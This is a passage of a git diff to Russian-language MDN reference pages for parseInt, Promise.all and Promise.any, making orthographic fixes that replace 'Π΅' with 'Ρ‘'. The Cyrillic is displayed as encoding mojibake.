-<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>NaN</code> Π½Π΅ являСтся числом Π² ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ систСмС счислСния. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Π²Π΅Ρ€Π½Π΅Ρ‚ Π»ΠΈ <code>parseInt </code>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅<code> </code><code>NaN </code>Π² качСствС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвуСт Π² арифмСтичСских опСрациях, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ <code>NaN</code>.</p>
+<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>NaN</code> Π½Π΅ являСтся числом Π² ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ систСмС счислСния. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π»ΠΈ <code>parseInt </code>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅<code> </code><code>NaN </code>Π² качСствС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвуСт Π² арифмСтичСских опСрациях, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ <code>NaN</code>.</p>
<p>Для прСобразования числа Π² строку Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ систСмС счислСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>intValue.toString(radix)</code>.</p>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/all/index.html b/files/ru/web/javascript/reference/global_objects/promise/all/index.html
index b6291344c2..4a79cf71ab 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/all/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/all/index.html
@@ -27,19 +27,19 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>{{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ ΠΊΠΎΠ³Π΄Π°Β Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ всС обСщания, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Π² Π²ΠΈΠ΄Π΅ пСрСчисляСмого Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, Ссли Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ Ρ…ΠΎΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ.</p>
+<p>{{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ ΠΊΠΎΠ³Π΄Π°Β Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ всС обСщания, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Π² Π²ΠΈΠ΄Π΅ пСрСчисляСмого Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, Ссли Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ Ρ…ΠΎΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ.</p>
<h2 id="Description" name="Description">ОписаниС</h2>
<p><strong>Promise.all</strong> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΎΡ‚ всСх ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ Π΅ΠΌΡƒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ массив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ сохраняСт порядок ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΠ΅ΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π½ΠΎ Π½Π΅ порядок выполнСния ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ.Β <code>Если ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ элСмСнт пСрСчисляСмого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π½Π΅ являСтся ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ΠΌ, Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° </code>{{jsxref("Promise.resolve")}}<code>.</code></p>
-<p>Если ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ,Β <code><strong>Promise.all </strong></code>Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Π½ΠΎΠ³ΠΎ обСщания, Π½Π΅ учитывая Π΄Ρ€ΡƒΠ³ΠΈΠ΅ обСщания, нСзависимо Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ ΠΎΠ½ΠΈ ΠΈΠ»ΠΈ Π½Π΅Ρ‚. Если Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ пустой массив, Ρ‚ΠΎ <code><strong>Promise.all</strong> </code>Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ<code>.Β </code></p>
+<p>Если ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ,Β <code><strong>Promise.all </strong></code>Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Π½ΠΎΠ³ΠΎ обСщания, Π½Π΅ учитывая Π΄Ρ€ΡƒΠ³ΠΈΠ΅ обСщания, нСзависимо Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ ΠΎΠ½ΠΈ ΠΈΠ»ΠΈ Π½Π΅Ρ‚. Если Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ пустой массив, Ρ‚ΠΎ <code><strong>Promise.all</strong> </code>Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ<code>.Β </code></p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
<h3 id="ИспользованиС_Promise.all">ИспользованиС <code>Promise.all</code></h3>
-<p><strong>Promise.all </strong>ΠΆΠ΄Π΅Ρ‚ выполнСния всСх ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ (ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code><strong>reject</strong>()</code>).</p>
+<p><strong>Promise.all </strong>ΠΆΠ΄Ρ‘Ρ‚ выполнСния всСх ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ (ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code><strong>reject</strong>()</code>).</p>
<pre><code>var p1 = Promise.resolve(3);
var p2 = 1337;
@@ -57,7 +57,7 @@ Promise.all([p1, p2, p3]).then(values =&gt; {
<h3 id="Promise.all_ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅_Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ³ΠΎ_отклонСния"><code>Promise.all</code>Β ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ³ΠΎ отклонСния</h3>
-<p><strong><code>Promise.all</code></strong>Β Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΒ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ Ссли ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ: Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ обСщания ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ с Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ ΠΈ ΠΎΠ΄Π½ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΒ -Β Ρ‚ΠΎΠ³Π΄Π°Β <strong><code>Promise.all</code></strong>Β Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΒ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½.</p>
+<p><strong><code>Promise.all</code></strong>Β Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΒ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½ Ссли ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ: Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ обСщания ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ с Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ ΠΈ ΠΎΠ΄Π½ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΒ -Β Ρ‚ΠΎΠ³Π΄Π°Β <strong><code>Promise.all</code></strong>Β Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΒ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½.</p>
<pre><code>var p1 = new Promise((resolve, reject) =&gt; {
setTimeout(resolve, 1000, "one");
@@ -72,7 +72,7 @@ var p4 = new Promise((resolve, reject) =&gt; {
setTimeout(resolve, 4000, "four");
});
var p5 = new Promise((resolve, reject) =&gt; {
-// Π­Ρ‚ΠΎ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ ΠΏΡ€Π΅Ρ€Π²Π΅Ρ‚ Promise.all
+// Π­Ρ‚ΠΎ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ ΠΏΡ€Π΅Ρ€Π²Ρ‘Ρ‚ Promise.all
reject("reject");
});
diff --git a/files/ru/web/javascript/reference/global_objects/promise/any/index.html b/files/ru/web/javascript/reference/global_objects/promise/any/index.html
index 339d9f7aad..fc85e0927c 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/any/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/any/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any
---
<div>{{JSRef}}</div>
-<p><code>ΠœΠ΅Ρ‚ΠΎΠ΄ Promise.any()</code>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΠΈΠΉΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" {{JSxRef("Promise")}}. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ"(<code>Promise)</code> выполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ(<code>fullfill</code>), ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΡ‚ СдинствСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Promise</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ³ΠΎ "обСщания". Если Π½ΠΈ ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ(Ссли всС "обСщания" Π·Π°Π²Π΅Ρ€ΡˆΠ°Ρ‚ΡΡ с ошибкой, Ρ‚.Π΅. <code>rejected</code>), Ρ‚ΠΎΠ³Π΄Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ promise Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½(<code>rejected</code>) с ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ: массив содСрТащий ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹ ошибки(отклонСния),Β ΠΈΠ»ΠΈΒ {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½Π½Ρ‹Π΅ ошибки вмСстС. По сущСству, ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>Promise.any()</code> являСтся ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ для {{JSxRef("Promise.all()")}}.</p>
+<p><code>ΠœΠ΅Ρ‚ΠΎΠ΄ Promise.any()</code>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΠΈΠΉΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" {{JSxRef("Promise")}}. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ"(<code>Promise)</code> выполнится ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ(<code>fullfill</code>), ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΡ‚ СдинствСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Promise</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ³ΠΎ "обСщания". Если Π½ΠΈ ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ(Ссли всС "обСщания" Π·Π°Π²Π΅Ρ€ΡˆΠ°Ρ‚ΡΡ с ошибкой, Ρ‚.Π΅. <code>rejected</code>), Ρ‚ΠΎΠ³Π΄Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ promise Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½(<code>rejected</code>) с ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ: массив содСрТащий ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹ ошибки(отклонСния),Β ΠΈΠ»ΠΈΒ {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½Π½Ρ‹Π΅ ошибки вмСстС. По сущСству, ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>Promise.any()</code> являСтся ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ для {{JSxRef("Promise.all()")}}.</p>
<div class="blockIndicator warning">
<p><strong>Warning!</strong> The <code>Promise.any()</code> method is experimental and not fully supported by all browsers. It is currently in the <a href="https://github.com/tc39/proposal-promise-any" rel="external">TC39 Candidate stage (Stage 3)</a>.</p>
@@ -27,25 +27,25 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any
<ul>
<li><strong>Π˜ΡΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ</strong> {{JSxRef("Promise")}}, Ссли ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ пуст.</li>
<li><strong>Π˜ΡΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ асинхронно</strong>Β {{JSxRef("Promise")}}, Ссли ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ содСрТит "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ"(promises).</li>
- <li>Π’ΠΎ всСх Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях {{JSxRef("Promise")}} со статусом оТидания(<strong>pending)</strong>. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" Π±ΡƒΠ΄Π΅Ρ‚ <strong>исполнСно</strong>(resolved/rejected)Β <strong>асинхронно</strong> (ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ стэк Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² окаТСтся пустым), ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄Π½ΠΎ(любоС) "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" ΠΈΠ·Β Β <em>ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° исполнится</em>, Π»ΠΈΠ±ΠΎ всС "обСщания" Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Ρ‹.</li>
+ <li>Π’ΠΎ всСх Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях {{JSxRef("Promise")}} со статусом оТидания(<strong>pending)</strong>. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" Π±ΡƒΠ΄Π΅Ρ‚ <strong>исполнСно</strong>(resolved/rejected)Β <strong>асинхронно</strong> (ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ стэк Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² окаТСтся пустым), ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄Π½ΠΎ(любоС) "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅" ΠΈΠ·Β Β <em>ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° исполнится</em>, Π»ΠΈΠ±ΠΎ всС "обСщания" Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Ρ‹.</li>
</ul>
<h2 id="ОписаниС">ОписаниС</h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠ»Π΅Π·Π΅Π½, ΠΊΠΎΠ³Π΄Π° Π½ΡƒΠΆΠ½ΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ исполнСнноС "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅". ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" Π±ΡƒΠ΄Π΅Ρ‚ исполнСно, ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒΡΡ исполнСния ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ…. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{JSxRef("Promise.all()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит <em>массив(Array)</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ исполнСнных ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ, <code>Promise.any()</code>Β ΡΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (ΠΏΡ€ΠΈ условии, что хотя Π±Ρ‹ ΠΎΠ΄Π½ΠΎ ΠΈΠ· "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ" исполнСно ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ). Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π³ΠΎΠ΄Π½Ρ‹ΠΌ, ΠΊΠΎΠ³Π΄Π°Β Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ»ΠΎΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅", Π½Π΅Π²Π°ΠΆΠ½ΠΎ ΠΊΠ°ΠΊΠΎΠ΅. Π’Π°ΠΊΠΆΠ΅, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{JSxRef("Promise.race()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 